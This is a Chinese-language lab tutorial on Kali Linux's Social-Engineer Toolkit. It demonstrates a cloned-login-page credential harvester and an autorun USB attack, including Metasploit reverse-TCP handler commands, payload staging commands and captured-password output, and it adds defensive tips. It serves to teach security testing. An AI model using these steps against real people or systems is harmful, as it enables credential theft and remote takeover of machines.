深入 Kali Linux:社会工程学工具实战指南

Source

社会工程学工具实战指南(含密码窃取与自动播放攻击)

  在网络安全领域,社会工程学攻击往往比传统技术攻击更具隐蔽性和杀伤力。它利用人的心理弱点突破防线,而 Kali Linux 内置的社会工程学工具包(SET)则为安全从业者提供了模拟这类攻击的强大武器。本文将结合实战操作,详细讲解 SET 工具的核心功能,重点演示 “用户名密码窃取” 和 “自动播放文件攻击” 两大场景,帮助大家理解社会工程学攻击的原理与防御要点。

  一、社会工程学与 SET 工具基础

  在开始实战前,我们需要先明确核心概念与工具框架,这是后续操作的基础。

1. 什么是社会工程学?

  社会工程学并非传统意义上的 “技术攻击”,而是通过研究受害者的心理弱点(如信任、好奇心、贪婪),采用欺骗、诱导等手段,让受害者主动配合以达成攻击目的的方法。例如,伪装成官方人员骗取账号密码、通过钓鱼链接诱导点击等,都属于社会工程学攻击范畴。

  2. 认识 Kali 的社会工程学工具包(SET)

  SET(Social-Engineer Toolkit)是 Kali Linux 预装的专用社会工程学工具,集成了钓鱼攻击、网站克隆、媒介感染等多种攻击模块。其启动方式与核心菜单如下:

  启动方式:支持通过 Kali 图形化菜单(“应用程序”→“社会工程学工具”)或命令行(直接输入setoolkit)启动。

  主菜单核心功能:

  Social-Engineering Attacks(社会工程学攻击):核心模块,包含钓鱼、网站攻击等场景。

  Penetration Testing (Fast-Track)(快速渗透测试):简化渗透测试流程。

  Third Party Modules(第三方模块):支持扩展自定义功能。

  Update the Social-Engineer Toolkit(工具升级):保持工具版本最新。

  二、实战 1:用户名与密码窃取(Credential Harvester Attack)

  该攻击通过克隆目标网站(如登录页),诱导受害者输入账号密码,从而实时窃取敏感信息。本次实战以 “IBM 测试网站(http://www.testfire.net/login.jsp)” 为克隆对象,模拟攻击 32 位 Windows7 靶机。

  1. 实验环境准备

  首先确认攻击机与靶机的网络连通性,本次实战使用的 IP 配置如下:

  Kali 攻击机 IP:192.168.136.11

  32 位 Windows7 靶机 IP:192.168.136.12

  2. 完整操作步骤(附关键截图解析)

  步骤 1:启动 SET 并进入 “网站攻击向量”

  打开 Kali 终端,输入setoolkit启动 SET 工具;

  在主菜单选择 “1) Social-Engineering Attacks”(社会工程学攻击);

 接着选择 “2) Website Attack Vectors”(网站攻击向量);

  最后选择 “Credential Harvester Attack Method”(信用盗取攻击方法),进入密码窃取模块。

  步骤 2:选择 “网站克隆” 方式创建伪造页面

  SET 提供三种伪造网站的方式:Web Templates(预设模板)、Site Cloner(网站克隆)、Custom Import(自定义导入)。本次选择 “Site Cloner”(网站克隆),原因是它能 1:1 复制目标网站的样式,降低受害者的警惕性。

  步骤 3:配置窃取信息的接收地址与克隆网址

 输入 “信息回传 IP”:即 Kali 攻击机的 IP(192.168.136.11),用于接收靶机提交的账号密码;

  输入 “克隆网址”:IBM 测试网站的登录页(http://www.testfire.net/login.jsp),SET 会自动抓取该页面的 HTML、CSS 代码,生成伪造页面。

  此时终端会提示 “Cloning the website...”,等待几秒后,伪造网站服务器将在 Kali 的 80 端口启动(提示 “Credential Harvester is running on port 80”)。

  步骤 4:诱导靶机访问伪造网站并输入信息

  在 Windows7 靶机中打开浏览器,输入 Kali 的 IP(192.168.136.11),此时会看到与 IBM 测试网站完全一致的登录页面;

  让靶机填写用户名(如 “limihua”)和密码(如 “123456”),点击 “Login” 按钮提交;提交后,靶机浏览器会自动跳转(通常跳转到克隆网站的原页面或错误页面,进一步隐藏攻击痕迹)。

  步骤 5:在 Kali 中查看窃取到的信息

  回到 Kali 终端,会实时显示靶机的访问记录与提交数据。例如:

  plaintext

  192.168.136.12 -- [27/Oct/2025:03:49:43] "GET / HTTP/1.1" 200 -

  [*] WE GOT A HIT! Printing the output:

  POSSIBLE PASSWORD FIELD FOUND: uid=limihua

  POSSIBLE PASSWORD FIELD FOUND: passw=123456

  POSSIBLE USERNAME FIELD FOUND: btnSubmit=Login

  从输出中可清晰看到,靶机提交的用户名 “limihua” 和密码 “123456” 已被成功窃取。

  3. 攻击原理与防御建议

  原理:通过克隆网站欺骗受害者,将输入的账号密码以 POST 请求的形式发送到 Kali 攻击机,实现实时捕获。

  防御要点:

  检查网址合法性:登录敏感网站时,确认网址是否为官方域名(如本次克隆页无 “testfire.net” 域名,需警惕);

  开启浏览器安全提示:启用 “恶意网站拦截” 功能,避免访问可疑 IP 地址;

  三、实战 2:自动播放文件攻击(Infectious Media Generator)

  该攻击通过生成带恶意载荷的自动播放文件(如 U 盘自动运行程序),当靶机插入存储介质(如 U 盘)时,恶意程序会自动执行,从而获取靶机的控制权。

  1. 实验环境准备

  与 “密码窃取” 实验一致,确保 Kali 与 Windows7 靶机在同一局域网:

  Kali 攻击机 IP:192.168.136.11

  32 位 Windows7 靶机 IP:192.168.136.12

  2. 完整操作步骤(附关键截图解析)

  步骤 1:启动 SET 并进入 “媒介感染攻击” 模块

  终端输入setoolkit启动 SET,选择 “1) Social-Engineering Attacks”;

  在子菜单中选择 “3) Infectious Media Generator”(媒介感染攻击),进入自动播放攻击配置。

  步骤 2:选择恶意载荷类型

  SET 提供两种载荷生成方式:

  “1) File-Format Exploits”:利用文件格式漏洞(如 PDF、Office 漏洞);

  “2) Standard Metasploit Executable”:生成标准的 Metasploit 可执行文件(.exe)。

  本次选择 “2) Standard Metasploit Executable”,兼容性更强,适合 Windows7 靶机。

  步骤 3:配置恶意载荷与监听器

  设置载荷参数:输入 Kali 攻击机的 IP(192.168.136.11)作为 “反向连接 IP”,并指定端口(如 5555),该端口用于后续接收靶机的反向连接;

  创建监听器:当 SET 提示 “Create a listener right now [yes/no]” 时,输入 “yes”,SET 会自动调用 Metasploit 框架启动监听器,等待靶机上线。

  此时 Metasploit 会显示如下配置信息,表明监听器已启动:

  plaintext

  resource (/root/.set/meta_config)> use multi/handler

  resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp

  resource (/root/.set/meta_config)> set LHOST 192.168.136.11

  resource (/root/.set/meta_config)> set LPORT 5555

  resource (/root/.set/meta_config)> exploit -j

  [*] Started reverse TCP handler on 192.168.136.11:5555

  步骤 4:复制恶意文件到外部存储介质

  SET 生成的恶意文件默认存放在/root/.set/autorun/目录下,包含自动播放配置文件(autorun.inf)和恶意可执行文件。我们需要将这些文件复制到外部存储介质(如 U 盘):

  在 Kali 中创建临时目录:mkdir -p /tmp/test;

  复制文件:cp -r /root/.set/autorun/* /tmp/test/;

  将/tmp/test/下的文件复制到 U 盘,完成攻击介质的制作。

  步骤 5:诱导靶机触发攻击

  将制作好的 U 盘插入 Windows7 靶机,若靶机开启了 “自动播放” 功能,会自动执行 U 盘中的恶意程序。此时 Kali 的 Metasploit 监听器会收到靶机的反向连接,显示 “Meterpreter session opened”,表明已成功获取靶机控制权(可执行文件上传、命令执行等操作)。

  3. 攻击原理与防御建议

  原理:利用 Windows 的 “自动播放” 功能,通过autorun.inf配置文件指定恶意程序路径,当存储介质插入时自动执行,建立与攻击机的反向连接。

  防御要点:

  禁用自动播放功能:在 Windows 中通过 “控制面板→自动播放” 关闭所有介质的自动播放;

  不插入不明存储介质:避免使用来源未知的 U 盘、移动硬盘;

  启用杀毒软件实时防护:及时查杀恶意可执行文件。

  四、总结与安全启示

  通过本次实战,我们可以发现:社会工程学攻击的核心是 “利用人的漏洞”,而非技术漏洞。即使系统本身无安全缺陷,一旦人员放松警惕,攻击者仍能轻易突破防线。

  对于安全从业者而言,SET 工具是模拟社会工程学攻击、测试企业防御能力的重要手段;但对于普通用户和企业,更需要重视 “人的安全意识”—— 加强员工培训、规范操作流程、警惕陌生信息,才是抵御社会工程学攻击的根本防线。

  最后提醒:本文所有操作仅用于合法的安全测试,严禁用于未授权的攻击行为,否则将承担相应的法律责任。